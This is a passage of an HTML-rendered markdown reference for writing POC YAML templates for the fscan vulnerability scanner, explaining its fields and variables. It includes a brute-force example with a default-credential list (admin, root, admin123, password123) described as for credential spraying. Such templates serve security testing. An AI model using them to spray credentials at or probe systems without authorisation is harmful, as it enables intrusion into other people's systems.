&lt;/span&gt;&lt;span class="lnt"&gt;212
&lt;/span&gt;&lt;span class="lnt"&gt;213
&lt;/span&gt;&lt;span class="lnt"&gt;214
&lt;/span&gt;&lt;span class="lnt"&gt;215
&lt;/span&gt;&lt;span class="lnt"&gt;216
&lt;/span&gt;&lt;span class="lnt"&gt;217
&lt;/span&gt;&lt;span class="lnt"&gt;218
&lt;/span&gt;&lt;span class="lnt"&gt;219
&lt;/span&gt;&lt;span class="lnt"&gt;220
&lt;/span&gt;&lt;span class="lnt"&gt;221
&lt;/span&gt;&lt;span class="lnt"&gt;222
&lt;/span&gt;&lt;span class="lnt"&gt;223
&lt;/span&gt;&lt;span class="lnt"&gt;224
&lt;/span&gt;&lt;span class="lnt"&gt;225
&lt;/span&gt;&lt;span class="lnt"&gt;226
&lt;/span&gt;&lt;span class="lnt"&gt;227
&lt;/span&gt;&lt;span class="lnt"&gt;228
&lt;/span&gt;&lt;span class="lnt"&gt;229
&lt;/span&gt;&lt;span class="lnt"&gt;230
&lt;/span&gt;&lt;span class="lnt"&gt;231
&lt;/span&gt;&lt;span class="lnt"&gt;232
&lt;/span&gt;&lt;span class="lnt"&gt;233
&lt;/span&gt;&lt;span class="lnt"&gt;234
&lt;/span&gt;&lt;span class="lnt"&gt;235
&lt;/span&gt;&lt;span class="lnt"&gt;236
&lt;/span&gt;&lt;span class="lnt"&gt;237
&lt;/span&gt;&lt;span class="lnt"&gt;238
&lt;/span&gt;&lt;span class="lnt"&gt;239
&lt;/span&gt;&lt;span class="lnt"&gt;240
&lt;/span&gt;&lt;span class="lnt"&gt;241
&lt;/span&gt;&lt;span class="lnt"&gt;242
&lt;/span&gt;&lt;span class="lnt"&gt;243
&lt;/span&gt;&lt;span class="lnt"&gt;244
&lt;/span&gt;&lt;span class="lnt"&gt;245
&lt;/span&gt;&lt;span class="lnt"&gt;246
&lt;/span&gt;&lt;span class="lnt"&gt;247
&lt;/span&gt;&lt;span class="lnt"&gt;248
&lt;/span&gt;&lt;span class="lnt"&gt;249
&lt;/span&gt;&lt;span class="lnt"&gt;250
&lt;/span&gt;&lt;span class="lnt"&gt;251
&lt;/span&gt;&lt;span class="lnt"&gt;252
&lt;/span&gt;&lt;span class="lnt"&gt;253
&lt;/span&gt;&lt;span class="lnt"&gt;254
&lt;/span&gt;&lt;span class="lnt"&gt;255
&lt;/span&gt;&lt;span class="lnt"&gt;256
&lt;/span&gt;&lt;span class="lnt"&gt;257
&lt;/span&gt;&lt;span class="lnt"&gt;258
&lt;/span&gt;&lt;span class="lnt"&gt;259
&lt;/span&gt;&lt;span class="lnt"&gt;260
&lt;/span&gt;&lt;span class="lnt"&gt;261
&lt;/span&gt;&lt;span class="lnt"&gt;262
&lt;/span&gt;&lt;span class="lnt"&gt;263
&lt;/span&gt;&lt;span class="lnt"&gt;264
&lt;/span&gt;&lt;span class="lnt"&gt;265
&lt;/span&gt;&lt;span class="lnt"&gt;266
&lt;/span&gt;&lt;span class="lnt"&gt;267
&lt;/span&gt;&lt;span class="lnt"&gt;268
&lt;/span&gt;&lt;span class="lnt"&gt;269
&lt;/span&gt;&lt;span class="lnt"&gt;270
&lt;/span&gt;&lt;span class="lnt"&gt;271
&lt;/span&gt;&lt;span class="lnt"&gt;272
&lt;/span&gt;&lt;span class="lnt"&gt;273
&lt;/span&gt;&lt;span class="lnt"&gt;274
&lt;/span&gt;&lt;span class="lnt"&gt;275
&lt;/span&gt;&lt;span class="lnt"&gt;276
&lt;/span&gt;&lt;span class="lnt"&gt;277
&lt;/span&gt;&lt;span class="lnt"&gt;278
&lt;/span&gt;&lt;span class="lnt"&gt;279
&lt;/span&gt;&lt;span class="lnt"&gt;280
&lt;/span&gt;&lt;span class="lnt"&gt;281
&lt;/span&gt;&lt;span class="lnt"&gt;282
&lt;/span&gt;&lt;span class="lnt"&gt;283
&lt;/span&gt;&lt;span class="lnt"&gt;284
&lt;/span&gt;&lt;span class="lnt"&gt;285
&lt;/span&gt;&lt;span class="lnt"&gt;286
&lt;/span&gt;&lt;span class="lnt"&gt;287
&lt;/span&gt;&lt;span class="lnt"&gt;288
&lt;/span&gt;&lt;span class="lnt"&gt;289
&lt;/span&gt;&lt;span class="lnt"&gt;290
&lt;/span&gt;&lt;span class="lnt"&gt;291
&lt;/span&gt;&lt;span class="lnt"&gt;292
&lt;/span&gt;&lt;span class="lnt"&gt;293
&lt;/span&gt;&lt;span class="lnt"&gt;294
&lt;/span&gt;&lt;span class="lnt"&gt;295
&lt;/span&gt;&lt;span class="lnt"&gt;296
&lt;/span&gt;&lt;span class="lnt"&gt;297
&lt;/span&gt;&lt;span class="lnt"&gt;298
&lt;/span&gt;&lt;span class="lnt"&gt;299
&lt;/span&gt;&lt;span class="lnt"&gt;300
&lt;/span&gt;&lt;span class="lnt"&gt;301
&lt;/span&gt;&lt;span class="lnt"&gt;302
&lt;/span&gt;&lt;span class="lnt"&gt;303
&lt;/span&gt;&lt;span class="lnt"&gt;304
&lt;/span&gt;&lt;span class="lnt"&gt;305
&lt;/span&gt;&lt;span class="lnt"&gt;306
&lt;/span&gt;&lt;span class="lnt"&gt;307
&lt;/span&gt;&lt;span class="lnt"&gt;308
&lt;/span&gt;&lt;span class="lnt"&gt;309
&lt;/span&gt;&lt;span class="lnt"&gt;310
&lt;/span&gt;&lt;span class="lnt"&gt;311
&lt;/span&gt;&lt;span class="lnt"&gt;312
&lt;/span&gt;&lt;span class="lnt"&gt;313
&lt;/span&gt;&lt;span class="lnt"&gt;314
&lt;/span&gt;&lt;span class="lnt"&gt;315
&lt;/span&gt;&lt;span class="lnt"&gt;316
&lt;/span&gt;&lt;span class="lnt"&gt;317
&lt;/span&gt;&lt;span class="lnt"&gt;318
&lt;/span&gt;&lt;span class="lnt"&gt;319
&lt;/span&gt;&lt;span class="lnt"&gt;320
&lt;/span&gt;&lt;span class="lnt"&gt;321
&lt;/span&gt;&lt;span class="lnt"&gt;322
&lt;/span&gt;&lt;span class="lnt"&gt;323
&lt;/span&gt;&lt;span class="lnt"&gt;324
&lt;/span&gt;&lt;span class="lnt"&gt;325
&lt;/span&gt;&lt;span class="lnt"&gt;326
&lt;/span&gt;&lt;span class="lnt"&gt;327
&lt;/span&gt;&lt;span class="lnt"&gt;328
&lt;/span&gt;&lt;span class="lnt"&gt;329
&lt;/span&gt;&lt;span class="lnt"&gt;330
&lt;/span&gt;&lt;span class="lnt"&gt;331
&lt;/span&gt;&lt;span class="lnt"&gt;332
&lt;/span&gt;&lt;span class="lnt"&gt;333
&lt;/span&gt;&lt;span class="lnt"&gt;334
&lt;/span&gt;&lt;span class="lnt"&gt;335
&lt;/span&gt;&lt;span class="lnt"&gt;336
&lt;/span&gt;&lt;span class="lnt"&gt;337
&lt;/span&gt;&lt;span class="lnt"&gt;338
&lt;/span&gt;&lt;span class="lnt"&gt;339
&lt;/span&gt;&lt;span class="lnt"&gt;340
&lt;/span&gt;&lt;span class="lnt"&gt;341
&lt;/span&gt;&lt;span class="lnt"&gt;342
&lt;/span&gt;&lt;span class="lnt"&gt;343
&lt;/span&gt;&lt;span class="lnt"&gt;344
&lt;/span&gt;&lt;span class="lnt"&gt;345
&lt;/span&gt;&lt;span class="lnt"&gt;346
&lt;/span&gt;&lt;span class="lnt"&gt;347
&lt;/span&gt;&lt;span class="lnt"&gt;348
&lt;/span&gt;&lt;span class="lnt"&gt;349
&lt;/span&gt;&lt;span class="lnt"&gt;350
&lt;/span&gt;&lt;span class="lnt"&gt;351
&lt;/span&gt;&lt;span class="lnt"&gt;352
&lt;/span&gt;&lt;span class="lnt"&gt;353
&lt;/span&gt;&lt;span class="lnt"&gt;354
&lt;/span&gt;&lt;span class="lnt"&gt;355
&lt;/span&gt;&lt;span class="lnt"&gt;356
&lt;/span&gt;&lt;span class="lnt"&gt;357
&lt;/span&gt;&lt;span class="lnt"&gt;358
&lt;/span&gt;&lt;span class="lnt"&gt;359
&lt;/span&gt;&lt;span class="lnt"&gt;360
&lt;/span&gt;&lt;span class="lnt"&gt;361
&lt;/span&gt;&lt;span class="lnt"&gt;362
&lt;/span&gt;&lt;span class="lnt"&gt;363
&lt;/span&gt;&lt;span class="lnt"&gt;364
&lt;/span&gt;&lt;span class="lnt"&gt;365
&lt;/span&gt;&lt;span class="lnt"&gt;366
&lt;/span&gt;&lt;span class="lnt"&gt;367
&lt;/span&gt;&lt;span class="lnt"&gt;368
&lt;/span&gt;&lt;span class="lnt"&gt;369
&lt;/span&gt;&lt;span class="lnt"&gt;370
&lt;/span&gt;&lt;span class="lnt"&gt;371
&lt;/span&gt;&lt;span class="lnt"&gt;372
&lt;/span&gt;&lt;span class="lnt"&gt;373
&lt;/span&gt;&lt;span class="lnt"&gt;374
&lt;/span&gt;&lt;span class="lnt"&gt;375
&lt;/span&gt;&lt;span class="lnt"&gt;376
&lt;/span&gt;&lt;span class="lnt"&gt;377
&lt;/span&gt;&lt;span class="lnt"&gt;378
&lt;/span&gt;&lt;span class="lnt"&gt;379
&lt;/span&gt;&lt;span class="lnt"&gt;380
&lt;/span&gt;&lt;span class="lnt"&gt;381
&lt;/span&gt;&lt;span class="lnt"&gt;382
&lt;/span&gt;&lt;span class="lnt"&gt;383
&lt;/span&gt;&lt;span class="lnt"&gt;384
&lt;/span&gt;&lt;span class="lnt"&gt;385
&lt;/span&gt;&lt;span class="lnt"&gt;386
&lt;/span&gt;&lt;span class="lnt"&gt;387
&lt;/span&gt;&lt;span class="lnt"&gt;388
&lt;/span&gt;&lt;span class="lnt"&gt;389
&lt;/span&gt;&lt;span class="lnt"&gt;390
&lt;/span&gt;&lt;span class="lnt"&gt;391
&lt;/span&gt;&lt;span class="lnt"&gt;392
&lt;/span&gt;&lt;span class="lnt"&gt;393
&lt;/span&gt;&lt;span class="lnt"&gt;394
&lt;/span&gt;&lt;span class="lnt"&gt;395
&lt;/span&gt;&lt;span class="lnt"&gt;396
&lt;/span&gt;&lt;span class="lnt"&gt;397
&lt;/span&gt;&lt;span class="lnt"&gt;398
&lt;/span&gt;&lt;span class="lnt"&gt;399
&lt;/span&gt;&lt;span class="lnt"&gt;400
&lt;/span&gt;&lt;span class="lnt"&gt;401
&lt;/span&gt;&lt;span class="lnt"&gt;402
&lt;/span&gt;&lt;span class="lnt"&gt;403
&lt;/span&gt;&lt;span class="lnt"&gt;404
&lt;/span&gt;&lt;span class="lnt"&gt;405
&lt;/span&gt;&lt;span class="lnt"&gt;406
&lt;/span&gt;&lt;span class="lnt"&gt;407
&lt;/span&gt;&lt;span class="lnt"&gt;408
&lt;/span&gt;&lt;span class="lnt"&gt;409
&lt;/span&gt;&lt;span class="lnt"&gt;410
&lt;/span&gt;&lt;span class="lnt"&gt;411
&lt;/span&gt;&lt;span class="lnt"&gt;412
&lt;/span&gt;&lt;span class="lnt"&gt;413
&lt;/span&gt;&lt;span class="lnt"&gt;414
&lt;/span&gt;&lt;span class="lnt"&gt;415
&lt;/span&gt;&lt;span class="lnt"&gt;416
&lt;/span&gt;&lt;span class="lnt"&gt;417
&lt;/span&gt;&lt;span class="lnt"&gt;418
&lt;/span&gt;&lt;span class="lnt"&gt;419
&lt;/span&gt;&lt;span class="lnt"&gt;420
&lt;/span&gt;&lt;span class="lnt"&gt;421
&lt;/span&gt;&lt;span class="lnt"&gt;422
&lt;/span&gt;&lt;span class="lnt"&gt;423
&lt;/span&gt;&lt;span class="lnt"&gt;424
&lt;/span&gt;&lt;span class="lnt"&gt;425
&lt;/span&gt;&lt;span class="lnt"&gt;426
&lt;/span&gt;&lt;span class="lnt"&gt;427
&lt;/span&gt;&lt;span class="lnt"&gt;428
&lt;/span&gt;&lt;span class="lnt"&gt;429
&lt;/span&gt;&lt;span class="lnt"&gt;430
&lt;/span&gt;&lt;span class="lnt"&gt;431
&lt;/span&gt;&lt;span class="lnt"&gt;432
&lt;/span&gt;&lt;span class="lnt"&gt;433
&lt;/span&gt;&lt;span class="lnt"&gt;434
&lt;/span&gt;&lt;span class="lnt"&gt;435
&lt;/span&gt;&lt;span class="lnt"&gt;436
&lt;/span&gt;&lt;span class="lnt"&gt;437
&lt;/span&gt;&lt;span class="lnt"&gt;438
&lt;/span&gt;&lt;span class="lnt"&gt;439
&lt;/span&gt;&lt;span class="lnt"&gt;440
&lt;/span&gt;&lt;span class="lnt"&gt;441
&lt;/span&gt;&lt;span class="lnt"&gt;442
&lt;/span&gt;&lt;span class="lnt"&gt;443
&lt;/span&gt;&lt;span class="lnt"&gt;444
&lt;/span&gt;&lt;span class="lnt"&gt;445
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gh"&gt;# fscan POC YAML Format Reference
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This document is a detailed reference for writing fscan POC YAML files. It covers every field, all CEL functions, type-specific templates, and real-world examples derived from the codebase.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Top-Level Fields
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Field | Type | Required | Description |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|-------------|-------------------|----------|-------------|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`name`&lt;/span&gt; | string | yes | Unique POC identifier. Convention: &lt;span class="sb"&gt;`poc-yaml-{vendor}-{type}`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`transport`&lt;/span&gt; | string | no | Always &lt;span class="sb"&gt;`http`&lt;/span&gt; (default). Only field value supported. |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`set`&lt;/span&gt; | map[string]expr | no | Single-value variables computed once at runtime |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`sets`&lt;/span&gt; | list of key+value | no | Multi-value cartesian product (brute-force only) |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`rules`&lt;/span&gt; | list of Rule | yes | Ordered list of HTTP requests to execute |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`detail`&lt;/span&gt; | Detail | no | Metadata: author, description, links |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## Rule Fields
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| Field | Type | Required | Description |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|--------------------|-------------------|----------|-------------|
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`method`&lt;/span&gt; | string | yes | HTTP method: GET, POST, PUT, DELETE, HEAD, OPTIONS |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`path`&lt;/span&gt; | string | yes | URL path. May include &lt;span class="sb"&gt;`{{varname}}`&lt;/span&gt; placeholders |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`headers`&lt;/span&gt; | map[string]string | no | Additional request headers. Do NOT include Host, Content-Length. |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`body`&lt;/span&gt; | string | no | Request body. Supports &lt;span class="sb"&gt;`{{varname}}`&lt;/span&gt; substitution. Use &lt;span class="sb"&gt;`\|`&lt;/span&gt; for multiline. |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`expression`&lt;/span&gt; | string (CEL) | yes | CEL expression that must evaluate to &lt;span class="sb"&gt;`true`&lt;/span&gt; for rule to pass |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`search`&lt;/span&gt; | string (regex) | no | Regex with named groups &lt;span class="sb"&gt;`(?P&amp;lt;name&amp;gt;...)`&lt;/span&gt; applied to &lt;span class="sb"&gt;`header+body`&lt;/span&gt;. Extracts vars. |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`follow_redirects`&lt;/span&gt; | bool | no | Follow HTTP redirects. Default: &lt;span class="sb"&gt;`false`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| &lt;span class="sb"&gt;`continue`&lt;/span&gt; | bool | no | Continue to next rule even if this one fails. Default: &lt;span class="sb"&gt;`false`&lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**Rule execution**&lt;/span&gt;: All rules must pass (return true) for the POC to be considered a match. Rules execute in order. A failing rule (unless &lt;span class="sb"&gt;`continue: true`&lt;/span&gt;) aborts the chain.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## `set` Field
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Single-value variables resolved once at the start of POC execution. Available in all rules via &lt;span class="sb"&gt;`{{varname}}`&lt;/span&gt; in path/headers/body and as bare &lt;span class="sb"&gt;`varname`&lt;/span&gt; in CEL expressions.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rand1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomInt(800000000, 1000000000)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rand2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomInt(800000000, 1000000000)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomLowercase(16)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;router&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;randomLowercase(8)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Variables are also accessible in &lt;span class="sb"&gt;`expression`&lt;/span&gt; without &lt;span class="sb"&gt;`{{}}`&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;response.body.bcontains(bytes(string(rand1 + rand2)))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## `sets` Field
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cartesian product expansion for brute-force POCs. Each combination of values produces a separate rule execution attempt. Use sparingly — only for weak-password or credential-spraying scenarios.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;sets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;administrator&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;root&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;password&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;admin123&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;password123&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Values are substituted via &lt;span class="sb"&gt;`{{username}}`&lt;/span&gt; and &lt;span class="sb"&gt;`{{password}}`&lt;/span&gt; in rule body/path/headers.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gs"&gt;**Important**&lt;/span&gt;: &lt;span class="sb"&gt;`sets`&lt;/span&gt; and &lt;span class="sb"&gt;`set`&lt;/span&gt; are mutually exclusive at the top level. Do not use both.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## `detail` Field
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;handle(https://github.com/handle)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; Multi-line description of the vulnerability.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; Include CVE number, affected versions, and attack conditions.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;info&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;short one-liner&lt;/span&gt;&lt;span class="w"&gt;
